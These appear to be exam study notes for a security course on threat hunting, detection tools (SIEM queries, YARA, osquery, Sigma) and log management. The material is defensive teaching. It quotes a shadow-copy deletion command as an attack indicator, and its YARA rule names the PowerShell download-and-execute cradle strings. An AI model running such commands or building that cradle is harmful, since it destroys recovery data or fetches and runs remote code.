| File | MD5, SHA-1 and SHA-256 hashes, file names and sizes, YARA matches |
| sender address, subject line, attachment name, reply-to domain | |
| Account and behavior | logins at odd hours, impossible travel, bursts of failed logins, sudden privilege changes |
| Point | Indicator of compromise (IoC) | Indicator of attack (IoA) |
|---|---|---|
| Question | what happened? the evidence left behind | what is happening, and why? the intent |
| Timing | after the fact: a point in time, used retrospectively | during the attack, in real time |
| Nature | static artifacts | behaviors and sequences of actions |
| Example | the SHA-256 of a ransomware binary; a known C2 address | Office starting PowerShell, which deletes shadow copies and begins encrypting files |
| Detected by | matching blocklists and signatures, IoC sweeps | behavioral analytics, EDR rules, ATT&CK-based detections |
| Easy to evade? | yes: change the file or the server | no: the attacker must change its behavior |
The life of an IoC: discovered in an incident or report, validated and given context and confidence, shared (STIX and TAXII, with a TLP marking), consumed by SIEM, EDR and firewalls, and finally retired when stale.
Retiring matters: IP addresses are reassigned, so an indicator blocked forever
becomes a false positive. Reports write indicators defanged, as
hxxps://bad-domain[.]example.
- Three IoCs: the dropper's hash, the C2 domain and the name of the scheduled task it created. They are used at once to sweep every other host and to block.
- One IoA: the behavior seen minutes before encryption, the command
vssadmin delete shadows /all /quietrun from a script. A detection for it will catch the next attack even if every file and address is new.
- What is an Indicator of Compromise (IoC)? How does it differ from an Indicator of Attack (IoA)? Explain how anomalies are identified during a threat hunt, with examples of baselining and stacking. Predicted, ch 3 Q3 · 4+6
Finding anomalies: baselines, stacking and outliers PREDICTED
The baseline comes first. Normal is defined for each entity and each time of day: which hosts talk to which, usual login hours and places, the usual parent and child process pairs, typical data volumes. It is built from weeks of logs and compared within peer groups, since a finance clerk and a database administrator have very different normals.
Three kinds of anomaly:
- Point anomaly: a single value far from normal. An account that usually downloads 50 MB a day downloads 10 GB.
- Contextual anomaly: a normal value in an abnormal context. An administrator's login is normal at 11 AM from the office, not at 2 AM from abroad.
- Collective anomaly: each event looks normal, the pattern does not. One small DNS query every 60 seconds for eight hours is a beacon.
To remember the three: read your bank's SMS alerts. A 50,000 rupee withdrawal when you never take out more than 5,000 is a point anomaly; an ordinary 2,000 rupee withdrawal at 3 AM in Pokhara while you sleep in Kathmandu is contextual; and a hundred 10 rupee mobile top-ups, one a minute all night, each harmless on its own, are collective.
Four analysis techniques hunters use to make the abnormal stand out (from Sqrrl's hunting framework):
| Technique | How it works | Example |
|---|---|---|
| Searching | query the data for specific values or patterns | search proxy logs for a domain named in a report |
| Clustering | group data points with similar features and study the small or odd groups | cluster hosts by the programs they run: three hosts form a group of their own with an unknown tool |
| Grouping | take a set of suspicious artifacts and find where and when they appear together | three unusual executables that always appear within minutes of each other on the same hosts |
| Stacking | count how often each value occurs across the estate and study the rarest (least frequency of occurrence) | stack scheduled task names on 2,000 hosts: the one found on 2 hosts is the lead; or stack User-Agent strings (UAS) from the proxy logs, the class notes' example |
Statistical and machine learning signals that flag anomalies:
- Distance from the mean: values several standard deviations from normal.
- Rarity: the long tail of values seen on very few hosts, or seen for the first time.
- Entropy: random-looking DNS names point to algorithmically generated domains or DNS tunneling.
- Periodicity: connections at regular intervals with little jitter are beaconing.
- Impossible travel: two logins from places too far apart for the time between them.
- Peer comparison: one user acting unlike everyone in the same role, which is what UEBA automates.
Common red flags, a widely quoted list of anomalies that often mean compromise:
| Where | Red flags |
|---|---|
| Network | unusual outbound traffic; unusual DNS requests; traffic on a port that does not match its application; web traffic that does not behave like a person; signs of a DDoS attack |
| Accounts | odd activity by privileged accounts; logins from unexpected countries; many failed logins |
| Applications and data | a spike in database reads; unusually large web responses; many requests for the same file; data bundled in the wrong place |
| Hosts | suspicious changes to the registry or system files; unexpected patching |
- Collect: a hunter pulls the installed Windows services from 2,000 hosts with osquery and stacks them by name and path.
- Spot the tail: 180 services appear almost everywhere; one called
WinUpdateSvc, runningC:\Users\Public\svc.exe, appears on 2 hosts only. - Investigate: rare, oddly named and run from a folder every user can write to, so the hunter checks its hash, its creation time against the logins, and what started it.
- Verdict: malware that installed itself as a service to persist (ATT&CK T1543.003, Windows Service).
Rare is not malicious. A new legitimate tool or a pilot project is also rare, so every anomaly is triaged with context (the asset owner, change tickets, threat intelligence), detections are tuned, and each explained anomaly is folded back into the baseline.
- What is an Indicator of Compromise (IoC)? How does it differ from an Indicator of Attack (IoA)? Explain how anomalies are identified during a threat hunt, with examples of baselining and stacking. Predicted, ch 3 Q3 · 4+6
3.7Threat hunting tools and techniques
The hunter's toolkit: data, tools and skills PREDICTED
| Data | Tools | Skills |
|---|---|---|
| SIEM logs; EDR telemetry; NetFlow; DNS and Sysmon logs | Splunk or ELK (Logpoint in this course); YARA; osquery; MITRE ATT&CK Navigator | hypothesis-driven thinking; scripting; OS internals; threat intelligence literacy |
To remember the three columns: a detective solving a theft from a shop needs the CCTV footage (data), a player that can search, pause and zoom it (tools), and the eye to notice that the night guard never usually leaves by the back door (skills). Take away any one of the three and the case stays open.
The data, and what each source shows:
| Source | Shows | Key events or fields |
|---|---|---|
| Windows Security log | logons and account changes | 4624 logon, 4625 failed logon, 4672 special privileges at logon, 4720 account created, 4688 process created |
| Sysmon | detailed endpoint activity | Event ID 1 process creation (with parent and command line), 3 network connection, 10 process access, 11 file created, 13 registry value set, 22 DNS query |
| PowerShell logs | the scripts that actually ran | 4104 script block logging |
| EDR telemetry | process trees, file and network activity on each host | plus response actions: isolate the host, kill the process |
| Network flows, Zeek | who talked to whom, how much and how often | Zeek's conn.log, dns.log, http.log |
| DNS, proxy and firewall logs | domains looked up, URLs visited, connections blocked | query names, User-Agent strings, destinations |
| Cloud and identity logs | API calls and sign-ins | AWS CloudTrail, Microsoft Entra ID sign-in logs |
The tools, and what each does in a hunt:
- SIEM (Splunk, Elastic, Logpoint, Microsoft Sentinel): search and correlate logs from the whole estate and pivot from one finding to the next (SIEM); its query language is the hunter's main instrument.
- EDR (EDR): process trees, live response and isolation of endpoints.
- osquery: asks every endpoint SQL questions about its processes, ports, services and startup items.
- YARA: matches files or memory by their content, surviving the small changes that defeat a hash.
- Sigma: writes a detection for logs once, in a vendor-neutral format, and converts it to any SIEM's query language.
- Zeek: turns raw network traffic into rich, searchable logs.
- ATT&CK Navigator: colors the ATT&CK matrix by coverage, showing which techniques are hunted and detected and which are not.
- VirusTotal and threat intelligence platforms: the reputation of hashes, IPs and domains.
- Velociraptor and Jupyter notebooks: collection from many endpoints at once, and statistics and charts for baseline and model-assisted hunts.
The class notes' four kinds of tool: MDR (managed detection and response, an outsourced service whose remote team of hunters finds threats on the organization's behalf), SIEM (aggregates and analyzes log data from all sources), security analytics (algorithms, analytics and UEBA that surface anomalies and vulnerabilities) and EDR (gathers and examines endpoint activity data to spot threat patterns).
The class notes' techniques, the places a hunter digs: memory dumps, for fileless malware and injected code (with a tool such as Volatility); server images and the disk images of workstations, checked for red flags such as dropped files, persistence and timelines; endpoint protection data, such as quarantined files and blocked attempts, checked for possible incidents; and network protection data, firewall and IDS logs checked for anomalies.
The skills behind the tools: query languages (Splunk's SPL, Microsoft's KQL,
Logpoint's), scripting (Python, PowerShell), operating system internals (knowing, for
example, that services.exe is the normal parent of svchost.exe),
networking (DNS, HTTP, TLS), attacker tradecraft (ATT&CK) and basic statistics.
Example: for the hypothesis "Office is starting PowerShell", the data is Sysmon Event
ID 1, the tool is a SIEM search over every host (or osquery on live ones), and the skill is
knowing that winword.exe has no normal reason to start
powershell.exe.
- What data, tools and skills does a threat hunter need? Explain with examples how SIEM queries, YARA rules and osquery are used during a hunt. Predicted, ch 3 Q6 · 4+6
Hunting in practice: SIEM queries, YARA, osquery and Sigma PREDICTED
1. SIEM querying (Logpoint, which the deck labels Guardsix / Logpoint): searching
across massive log volumes with a pipe-based query language. Its core syntax:
label= or category= filters events by type, | chains
commands together, chart count() by a field aggregates and groups the results,
and order by count() desc sorts them.
// Step 1: which files were flagged as infected, and who received them?
label=Detect label=File label=Infection
| chart count() by sender, sender_domain, hash, receiver
// Step 2: pivot to the suspicious recipient's failed logins
label=Login label=Fail user="rita.mm"
| chart count() by source_address, workstation, user, host
| order by count() desc
// Step 3: has that source address been seen in command and control traffic?
category="Malware Command And Control"
| chart count() by source_address
2. YARA (created by Victor Alvarez of VirusTotal): pattern-matching rules that identify malware by its content, not just by its hash. A hash breaks on a tiny file change; a YARA rule matches patterns and structure, so it survives minor malware variants. A rule has three parts: meta (the rule's metadata: author, description), strings (the text, hex or regular expression patterns to match) and condition (the logic that combines them).
rule Suspicious_PowerShell_Downloader
{
meta:
author = "hunt team"
description = "Flags obfuscated download and execute"
strings:
$s1 = "IEX" nocase
$s2 = "DownloadString" nocase
$s3 = "-EncodedCommand" nocase
condition:
2 of ($s1, $s2, $s3)
}
IEX (Invoke-Expression) runs text as
code, DownloadString fetches that text from the web, and
-EncodedCommand hides a command in base64. Any two together is the classic
download-and-run cradle. From the chapter 3 lecture deck.In a hunt the rule is run over file shares, email attachments, samples collected by EDR, or process memory, instead of relying on a static list of hashes.
To remember the difference: a hash is a photocopy of one exact passport photo, useless once the man gets a haircut; a YARA rule is the police sketch, a scar over the left eye and a gold tooth, which still matches him after the haircut and a shave.
3. osquery (open-sourced by Facebook in 2014) treats every endpoint like a queryable
SQL database: running processes, open ports, installed software and scheduled tasks can be
asked about across the entire fleet in familiar SQL. The deck's commonly hunted tables:
processes, listening_ports, scheduled_tasks,
startup_items, logged_in_users and the installed programs
(programs). One fleet-wide query answers "show me every host where Word spawned
PowerShell", which directly supports lateral-movement hunts.
SELECT p.pid, p.name, p.path, p.cmdline
FROM processes AS p
JOIN processes AS parent ON p.parent = parent.pid
WHERE lower(parent.name) = 'winword.exe'
AND lower(p.name) = 'powershell.exe';
processes table holds the parent's process ID in
parent, so the parent's name comes from joining the table to
itself.WHERE parent_name = 'winword.exe', but osquery's processes table has
no parent_name column; the self-join above is the working form. Note too that
processes is a snapshot of what runs now: what ran yesterday comes from Sysmon or
EDR logs.4. Sigma (Florian Roth and Thomas Patzke, 2017) is to logs what YARA is to files: a YAML rule format that tools convert into Splunk, Elastic, Microsoft Sentinel and other query languages, so one detection serves every SIEM.
title: Office Application Starting PowerShell
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith:
- '\winword.exe'
- '\excel.exe'
Image|endswith: '\powershell.exe'
condition: selection
level: high
tags:
- attack.execution
- attack.t1059.001
One hypothesis, four forms: "Office starts PowerShell" is a SIEM search over past logs, an osquery question to live hosts, a Sigma rule that alerts from now on, and a YARA scan for the download cradles such macros carry. Choosing the right form for the question is the hunter's craft.
- What data, tools and skills does a threat hunter need? Explain with examples how SIEM queries, YARA rules and osquery are used during a hunt. Predicted, ch 3 Q6 · 4+6
The hunting playbook and the hunt report PREDICTED
The six parts of a playbook, filled in for one hunt:
| Part | Question it answers | Example: Office starting PowerShell |
|---|---|---|
| 1. Hypothesis | what are we testing? | an intrusion through macro documents would show Office applications starting PowerShell |
| 2. ATT&CK technique(s) | what does it map to? | T1566.001 spearphishing attachment, T1204.002 malicious file, T1059.001 PowerShell |
| 3. Data sources required | which logs and tools? | Sysmon Event ID 1 or EDR process events from every Windows endpoint, 30 days |
| 4. Query or steps | the reusable procedure itself | the SIEM search or Sigma rule for a Word or Excel parent and a PowerShell child, then a review of the command lines |
| 5. Expected findings | what does normal look like, and what suspicious? | normal: none, or a known finance add-in; suspicious: encoded commands, DownloadString, connections to new domains |
| 6. Escalation path | who is told if it is confirmed? | the SOC lead, then the incident response team under the IR plan; the host is isolated through EDR |
Why playbooks: they make hunts repeatable (the mark of HMM2, maturity model), train new hunters, keep the quality even, are easy to automate later (HMM4), and can be shared between teams. SOAR playbooks (SOAR) then automate the response steps.
To remember it: a playbook is the recipe card pinned up in a momo shop's kitchen, so that any cook makes the same momo the same way. The hunt report is the two notes written after a bad batch: a detailed one for the cooks (which step went wrong, how to fix it) and three lines for the owner (how many plates were lost, what the fix will cost).
The hunt report: two audiences, one investigation.
| Technical hunt report (SOC and IR team) | Executive summary (leadership) |
|---|---|
| full methodology | business impact |
| the queries used | risk level |
| raw findings and IoCs | findings in plain language |
| technical remediation steps | resourcing and budget implications |
Anatomy of a good hunt report, in six sections:
- Hypothesis and scope: what was tested, on which systems, over what period.
- Methodology: the tools, data sources and queries.
- Findings: confirmed or refuted, with the evidence.
- Impact assessment.
- Remediation: the actions taken or recommended.
- Lessons learned: playbook updates, new detections, visibility gaps.
A hunt that finds nothing is still reported: it documents coverage, and any gap it exposed (say, 15% of laptops sending no Sysmon logs) becomes a remediation item.
"We tested whether attackers were using Office macros to run PowerShell. Two laptops in Accounts had been compromised by a phishing email; both were isolated within an hour and no customer data left the network. Risk now: low. Recommendation: block macros in documents that come from the internet, a policy change that costs nothing."
- What is a threat hunting playbook? Describe what it contains and how the findings of a hunt are reported, with an example. Predicted, ch 3 Q7 · 5+5
Four worked hunts, from trigger to outcome PREDICTED
The shape to reuse for any scenario question: trigger, then hypothesis, then data and tools, then the steps of the hunt, then what was concluded, then the response, then the new detection that stops it happening unseen again.
Scenario 1: compromised credentials to a C2 callback (alert and intelligence driven).
- Trigger: an automated alert flags a file infection. Tools: SIEM (Logpoint, the deck's GuardSix / Logpoint), VirusTotal. Data: email and file logs, Windows authentication logs, threat intelligence IoC lists.
- Progression: the file hash is flagged, then pivot to its recipient; the user Rita shows repeated failed logins across servers; pivot to the source IP; cross-reference that IP against the known C2 IoC list: a match.
- Correlated: the file hash, the recipient, the login failures, the source IP and the threat intelligence list. Inferred: Rita's account is compromised, and a second account, Bob's, is being probed from the same IP: both are part of one campaign.
- Outcome: disable Rita's account, disable or delete Bob's, block the C2 IP at the firewall. Maps to: brute force (T1110), command and control; kill chain stage 6.
Scenario 2: living-off-the-land lateral movement (hypothesis driven).
- Trigger: the hypothesis "if an attacker is inside, they would use built-in tools to move laterally". Tools: EDR, Sysmon, osquery. Data: Sysmon Event ID 1, Windows events 4624 and 4625, PowerShell script block logs.
- Progression: hunt for unusual parent and child process chains; find
winword.exespawningpowershell.exe, which spawnsPsExec.exe; check which hosts PsExec connected to; compare with the account's normal access baseline. - Correlated: the process lineage, the PowerShell command-line arguments and the account's normal access baseline. Inferred: a user account is being used to move between hosts it has never touched before: classic lateral movement, likely after credential theft.
- Outcome: isolate the affected hosts, force a credential reset, escalate to incident response. Maps to: PowerShell (T1059.001), service execution with PsExec (T1569.002), admin shares (T1021.002).
Scenario 3: DNS tunneling and data exfiltration (analytics driven).
- Trigger: analytics-driven: anomaly detection flags a high volume of DNS queries from one host. Tools: DNS logs, Zeek (NetFlow analysis), SIEM. Data: DNS query logs (subdomain length and entropy), NetFlow (byte volume per session).
- Progression: baseline normal DNS query patterns; spot a host sending thousands of long, high-entropy (random-looking) subdomain queries to one domain; check NetFlow for that host's outbound byte volume; confirm steady, small-packet traffic consistent with tunneling.
- Correlated: DNS query entropy and frequency, the destination domain's reputation, and the outbound byte pattern. Inferred: the host is exfiltrating data through DNS tunneling to evade traditional egress monitoring.
- Outcome: block the domain, isolate the host, inspect it for the tunneling malware or tool and remove it. Maps to: DNS as a C2 channel (T1071.004), exfiltration over an alternative protocol (T1048).
Scenario 4: insider threat and anomalous data access (behavioral analytics).
- Trigger: UEBA flags a user opening an unusual volume of sensitive files. Tools: UEBA, file server audit logs, a DLP tool. Data: file access logs (who, what, when), the user's UEBA baseline profile, badge and VPN login times.
- Progression: UEBA flags ten times the normal file volume; correlate it with the access time (2 AM) and a VPN login from an unusual geography; DLP logs show uploads of those files to an external site.
- Correlated: file access volume, access time, login geography and the outbound upload logs. Inferred: not normal work behavior: a compromised account, or an insider exfiltrating data, for example before resigning.
- Outcome: engage HR and Legal under the insider threat policy, preserve the evidence, restrict the account's access (insider controls, an insider case). Maps to: collection, and exfiltration over a web service (T1567).
| Scenario | Approach | Key data | Kill chain stage | Outcome |
|---|---|---|---|---|
| 1. Credentials to C2 | alert and intelligence (IoC) | authentication logs, IoC list | command and control | accounts disabled, IP blocked |
| 2. Lateral movement | hypothesis (TTP) | Sysmon process creation | actions on objectives (moving inside) | hosts isolated, credentials reset |
| 3. DNS tunneling | analytics (anomaly) | DNS logs, NetFlow | C2 and exfiltration | domain blocked, host isolated |
| 4. Insider data access | analytics (UEBA) | file audit, VPN, DLP | actions on objectives | HR and Legal, evidence kept |
The lesson common to all four: every confirmed hunt ends by creating a detection, so the next occurrence raises an alert on its own and the hunters move on.
- A security analytics tool flags a workstation that sends thousands of DNS queries with long, random looking subdomains to a single external domain. As a threat hunter, explain how you would investigate this: the hypothesis, the data and tools you would use, the steps of the hunt, what you would conclude, and how you would respond. Predicted, ch 3 Q8 · 10
3.8Last minute recall
Chapter 3 in one screen
- Threat intelligence: evidence-based knowledge to inform decisions (Gartner); data, then information, then intelligence; four reasons: proactive defense, identify threats, uncover unknowns, focus hunting.
- Three types: strategic (board, CISO; months to years), operational (SOC manager, IR; days to weeks), tactical or technical (analysts and tools; real time to hours).
- The deck's scenario: TA577 / Qakbot against EMEA finance, March 2024: Lazarus report (strategic), TA577 phishing as fake ADP and Workday mail with a OneNote attachment (operational), IoC feed with domains, C2 IPs, hash and a YARA rule over TAXII (tactical).
- Pyramid of Pain (Bianco, 2013): hash values trivial, IP addresses easy, domain names simple, network and host artifacts annoying, tools challenging, TTPs tough.
- Lifecycle: planning and direction (PIRs), collection, processing, analysis, dissemination (TLP), feedback.
- Sources: OSINT, commercial feeds, government and ISACs, internal telemetry, human; shared with STIX over TAXII, stored in MISP.
- Threat modeling: four questions; proactive (design, STRIDE) against reactive (pen testing, fuzzing); six steps: assets, architecture, decompose, identify, document, rate; the notes' four: identify threats, determine and diagram attacks, reduction analysis, remediation.
- Reduction analysis: trust boundaries, data flow paths, input points, privileged operations, security stance.
- STRIDE (Microsoft, 1999): spoofing, tampering, repudiation, information disclosure, denial of service, elevation of privilege.
- DREAD: damage, reproducibility, exploitability, affected users, discoverability; 1 to 3 summed (12 to 15 high) or 1 to 10 averaged.
- PASTA (seven stages): objectives, technical scope, decomposition, threat analysis, vulnerability analysis, attack modeling, risk and impact analysis.
- Kill chain (Lockheed Martin, 2011): reconnaissance, weaponization, delivery, exploitation, installation, C2, actions on objectives; detect, deny, disrupt, degrade, deceive, destroy; mitigating by stage: training and email filters, patching, anti-malware and allow-listing, egress rules, DLP.
- ATT&CK: tactics (why), techniques and sub-techniques (how), procedures; 15 Enterprise tactics since 2026 (14 before); Enterprise, Mobile, ICS; the deck's snapshot: Execution, Persistence, Exfiltration, and T1059 hunted as Word or Excel spawning PowerShell.
- Threat hunting: proactive, human-led, assume breach; lifecycle: trigger, investigate, uncover, respond, inform.
- Approaches: hypothesis-driven, intelligence-driven, analytics-driven; notes: awareness-based, intelligence-based, analytics-driven.
- PEAK (Splunk, 2023): prepare, execute, act with knowledge; hypothesis-driven, baseline, model-assisted hunts; ABLE.
- Diamond Model (2013): adversary, capability, infrastructure, victim; pivoting; social-political and technology axes.
- HMM (Sqrrl): HMM0 initial, HMM1 minimal, HMM2 procedural, HMM3 innovative, HMM4 leading.
- IoC and IoA: evidence left behind against intent in progress; atomic, computed, behavioral.
- Anomalies: baseline first; point, contextual, collective; searching, clustering, grouping, stacking.
- Tools: SIEM queries, YARA (meta, strings, condition), osquery (SQL on endpoints), Sigma (YAML for logs), Sysmon, Zeek, ATT&CK Navigator.
- Playbook: hypothesis, technique, data sources, query, expected findings, escalation; the report has a technical and an executive version.
- The four mnemonics: kill chain, Ramesh WiFi Dekhera Ekdam Ijjat Chhodera Aaipugyo; PASTA, Oi Sasu, Daal Tato Vayena, Aba Ruwauchhu; intelligence lifecycle, Pujari Chiya Piudai Aafno Dhoti Fyaakyo; HMM, Ishwor Maama Panipuri Itaharima Lukaunubhayo.
Chapter 4 · 7 hours · 12 of 80 marks in the syllabus · in 1 of the 4 sittings
Log management, data visualization and security monitoring
Every attack leaves a trail of log entries, and every other chapter of this course reads that trail: hunting searches it, incident response reconstructs it, audit asks for it. This chapter is how the trail is kept, from the single entry to the SIEM that correlates millions of them and the dashboard a person actually watches. It carries 12 of the 80 marks in the syllabus weighting, and both of its internal questions so far were about the SIEM.
- Logs: what a log entry is, why it is the evidence an attack leaves, the nine types of log, and the layers of an estate that write them.
- Log management: why logs must be managed, the functions that do it, and how logs are collected, formatted, aggregated and retained.
- Analysis and correlation: reading one source, joining many, enriching them with context, and the rules and use cases that turn events into alerts.
- SIEM: the platform that does all of it, its five stage architecture, and the Logpoint processing pipeline the course is taught on.
- Visualization and monitoring: the charts that show a spike or a gap at a glance, and the dashboards a SOC runs on.
- Chapter 1: logs deliver the accountability in IAAA, and keeping them untampered is the integrity of the CIA triad.
- Chapter 3: tactical threat intelligence (types of threat intelligence) enriches the logs here, and every hunt is a query over them (threat hunting, mapped with MITRE ATT&CK).
- Chapter 5: this chapter teaches SIEM as the log platform; chapter 5 teaches its features and next generation form (SIEM features), the tools built on it (SOAR, UEBA) and the SOC visibility triad.
- Chapter 6: detection and analysis start from these alerts (incident handling steps), and the insider case was proved from remote access logs.
- Chapter 7: retention periods and audit trails are policy and compliance requirements (IS audit).
- 4.1 What a log is, and why log management matters
- 4.2 Types of log and where they come from
- 4.3 Collection, aggregation, formats and retention
- 4.4 Analysis, correlation and use cases
- 4.5 SIEM: architecture and processing pipeline
- 4.6 Data visualization and dashboards
- 4.7 Last minute recall, chapter 4
- The 2083 internal set two 5 mark questions: the stages of the SIEM architecture, and the types of log a SIEM takes in.
- The class notes predict 8 mark questions on log management and its benefits, four log types, SIEM with normalization, storage and analytics, the processing pipeline, and analysis against correlation with enrichment.
- The lecture opens with five discussion questions: a hacked Facebook account, what a log is, a hacked university website, 37 failed logins, and which devices write logs.
- Draw the SIEM architecture or the pipeline in any SIEM answer, and the layers map in a sources answer.
4.1Importance of log management
What a log is, and why it is the evidence an attack leaves behind COURSE
The deck's own example is one entry from a login system:
2026-07-08 10:45:15 User: admin Action: Login Successful Source IP: 192.168.1.20
Four fields, four questions. NIST SP 800-92, the standard guide to log management, defines a log the same way: a record of the events occurring within an organization's systems and networks, made of entries that each describe one event. What an entry must hold:
- The fields of an entry: when (the timestamp); who (the user); what (the action and its outcome); from where (the source IP); on which host; what type of event.
The deck's entry carries the first four; the host and the event type are what let it be searched and counted beside every other entry.
| Term | What it is | Example |
|---|---|---|
| Event | Anything observable that happens on a system or network | admin logs in |
| Log entry | The record of one event, written by the system | the four lines above |
| Log | The file or stream of entries from one source | the Windows Security log, /var/log/auth.log |
| Alert | A notice raised when entries match a rule | 37 failed logins for admin |
| Incident | An event that harms or threatens security, confirmed by an analyst | the admin account taken over |
Why a log is evidence. A digital attack leaves no fingerprints and usually no witness. What it does leave is a trail of entries on every system it touched. That is why logs deliver the accountability of IAAA: they tie actions to identities after the fact. The deck makes the point with two scenarios.
The hacked university website, the deck's slide "Something happened last night". Student records are stolen and the site is defaced overnight; nobody saw the attacker, there is no CCTV and no eyewitness. The evidence left is the logs, and each one tells part of the story:
| Log | What it shows |
|---|---|
| Web server access log | Every request with its IP, time, URL and user agent: the scan, the SQL injection strings in the URLs, the upload of a web shell |
| Web server error log | The injection attempts that broke queries on the way in |
| Application (CMS) log | Logins to the admin panel, and the page edit that defaced the site |
| Database log | The queries that read the student table, and how many rows they returned |
| Firewall and NetFlow | The connections in, and the large outbound transfer that carried the records away |
| Operating system logs | New accounts and processes on the server, and a cleared audit log (Windows event 1102), which is itself evidence |
The hacked Facebook account. The same method works on a personal account, in the order of the incident handling cycle of chapter 6:
- Preserve: screenshot the sessions, messages and posts before changing anything, and note when the account was last used normally.
- Collect the records: the session list and login history (time, device, location and IP of each login); the platform's alert emails about new logins or a changed password or recovery email; the email account's own sign-in history; the owner's browser history and installed programs.
- Build the timeline: put the records in time order and find the first login that was not the owner's, and every change made after it.
- Find the cause: a phishing page; a password reused from a breached site; malware that steals saved passwords; a stolen session cookie.
- Contain and recover: log out every session, reset the passwords of the account and its email, restore the recovery details, and turn on two-factor authentication.
- Report: to the platform and, in Nepal, to the Nepal Police Cyber Bureau, and warn contacts about messages sent in the owner's name.
Logs can be destroyed, and attackers know it: clearing event logs is a technique of its own in MITRE ATT&CK (T1070.001). A log kept only on the compromised machine is controlled by the attacker, so logs are copied off the host to a central store as they are written, with their integrity protected, the I of the CIA triad. In the insider case of chapter 6, remote access log files are what tied the former vice president to the crime.
- If your Facebook account was hacked last night, how would you investigate it? Deck, ch 4 Q1
- What is a Log ? Deck, ch 4 Q2
- A university's website has been hacked. Student records stolen. Website defaced. Nobody saw the attacker. No CCTV. No eyewitness. What evidence is left ? Deck, ch 4 Q3
Log management: what it is and what it buys an organization PREDICTED
Real-time insight is what it buys. The same slide adds that an effective log management system and strategy enables real-time insights into system health and operations: a disk filling up, a service that keeps restarting or a storm of failed logins is seen as it happens, not found in a file days later.
Why logs have to be managed at all. Every server, firewall and application writes its own log, in its own format, on its own disk, by its own clock. The deck's Windows screenshot shows 29,665 events in the Security log of a single workstation; multiply that by every machine in an organization and nobody can read logs one host at a time. Left alone, logs are scattered, inconsistent, overwritten when their files fill up, and deletable by any attacker who reaches the host. Log management gathers them into one place, in one shape, for as long as they are needed.
To remember it, picture a campus with 400 lab computers, each holding a Security log the size of the deck's, about 30,000 events: twelve million entries in 400 places, on 400 clocks. "Where did this student's account log in yesterday?" then means visiting machine after machine; with the logs collected into one store, it is one search.
The six reasons the deck gives, with what each looks like in practice:
| Reason | How logs deliver it | Example |
|---|---|---|
| Detect hackers | Attacks leave entries before they succeed | 37 failed logins for admin, then one success |
| Troubleshoot problems | The same records show faults, not only attacks | the web server's error log after a failed update |
| Monitor systems | A continuous view of health and activity | a service that stopped at 03:00 |
| Meet compliance | Audit trails, kept for the required period, prove that controls work | a card payment firm keeps a year of logs for PCI DSS |
| Perform forensic investigations | Reconstruct what happened, in order, after the fact | the timeline of the university website attack |
| Improve performance | Trends over months expose bottlenecks | slow queries in a database log |
The five benefits of an effective solution, Logpoint's list, which is what the class notes question asks for:
- Unified data storage through centralized log aggregation: one searchable copy, off the hosts, that an intruder on one machine cannot quietly erase.
- Improved security through a reduced attack surface, real-time monitoring and better detection and response times: the sooner an entry is seen, the shorter the attacker's stay.
- Improved observability and visibility across the enterprise through a common event log: every source in one schema, so one query answers a question about the whole estate.
- Enhanced customer experience through log data analysis and predictive modeling: application logs show where users fail or wait, before they complain.
- Faster, more precise troubleshooting through advanced network analytics: the fault is found by one search, not by logging in to machine after machine.
What makes it hard. Volume, since storage and licence costs grow with every source; variety, with hundreds of formats; noise, since most entries are routine; clocks that disagree; privacy, because logs hold usernames and IP addresses, which are personal data; and coverage gaps, because a system that was never set to log leaves nothing to find. The rest of the chapter is how each is handled: the functions of log management, collection, retention and, on top of it all, the SIEM.
- What is Log Management? Describe four key benefits an effective log management solution provides to an organization, such as improved security and faster troubleshooting. Notes prediction, ch 4 Q1 · 2+6
The functions of log management, from collection to reporting PREDICTED
The deck names seven functions on its slide "Log management terminologies", and between them they are the life of a log, from the moment it is written to the moment someone reads a report built on it:
| # | Function | What it does | Taught in |
|---|---|---|---|
| 1 | Collection | Aggregates data from the OS, applications, servers, users, endpoints and any other relevant source in the organization | 4.3 |
| 2 | Monitoring | Tracks events and activity, and when they occurred, as they happen | 4.6 |
| 3 | Analysis and correlation | Analysis tools review the logs collected on the log server to proactively identify bugs, security threats or other issues; correlation analyses log data from different sources (applications, systems, networks, devices) to find the relationships and dependencies between them | 4.4 |
| 4 | Enrichment | Adds context to log data from threat intelligence, CSV lookup tables, applications and databases | 4.4 |
| 5 | Retention | Designates how long log data is kept in the log files | 4.3 |
| 6 | Indexing or search | Lets the team filter, sort, analyse or search data across all logs | 4.5 |
| 7 | Reporting | Automates reports from the audit log on operational performance, resource allocation, security or regulatory compliance | 4.6 |
Answers: the seven functions of log management, in the deck's order.
How it decodes: seven words, seven functions, initials in order: the mean aunt came and emptied the well in a single night. Two R's: Raat is retention, and Rittyain, the last word, is the last function, reporting.
- CChhuchhi Collection
- MMausi Monitoring
- AAayera Analysis and correlation
- EEkai Enrichment
- RRaat Retention
- IInar Indexing or search
- RRittyain Reporting
Read them as one pipeline. Collection brings the entries in; indexing makes them findable; monitoring watches them arrive; enrichment adds what the raw entry lacks; analysis and correlation turn entries into findings; retention decides how long they stay; reporting hands the result to people. Followed through once: a firewall denial arrives by syslog, is indexed within seconds, is enriched with the country of its source IP, is correlated with failed VPN logins from the same address, is kept for a year, and is counted in the monthly security report.
NIST's version. SP 800-92 describes a log management infrastructure in three tiers, log generation, log analysis and storage, and log monitoring, and lists its functions under four headings:
- General: log parsing; event filtering, which drops entries of no value; event aggregation, which merges repeats into one entry with a count.
- Storage: log rotation, archival, compression, reduction, conversion, normalization and file integrity checking.
- Analysis: event correlation, log viewing and log reporting.
- Disposal: log clearing, the removal of entries at the end of their retention period.
Where a SIEM goes further. A log management system collects, keeps and searches logs for every purpose: operations, troubleshooting, audit. A SIEM is built on the same foundation and adds security analytics in real time. Every SIEM does log management; not every log management system is a SIEM.
| Point | Log management | SIEM |
|---|---|---|
| Purpose | Collect, store and search all logs | Detect and respond to security threats |
| Processing | Parsing and indexing | Parsing, normalization to one schema, enrichment |
| Analysis | Searches and reports that a person runs | Correlation rules running continuously on the live stream |
| Context | The entry as it was written | Threat intelligence, asset and identity context |
| Output | Search results and reports | Prioritized alerts, incidents and dashboards |
| Users | IT operations, developers, auditors | SOC analysts and incident responders |
- Explain the key functions of log management: collection, monitoring, analysis and correlation, enrichment, retention, indexing and search, and reporting. How does a SIEM go beyond a basic log management system? Predicted, ch 4 Q1 · 6+4
4.2Log sources
The nine types of log, and what each records HOT 1/4
83 int5
Classified by what they record. The deck's infographic sorts logs into nine types. Each comes from particular sources and answers a particular kind of question, and a SIEM can take in all nine:
| Type | What it records | Deck example | What it helps catch |
|---|---|---|---|
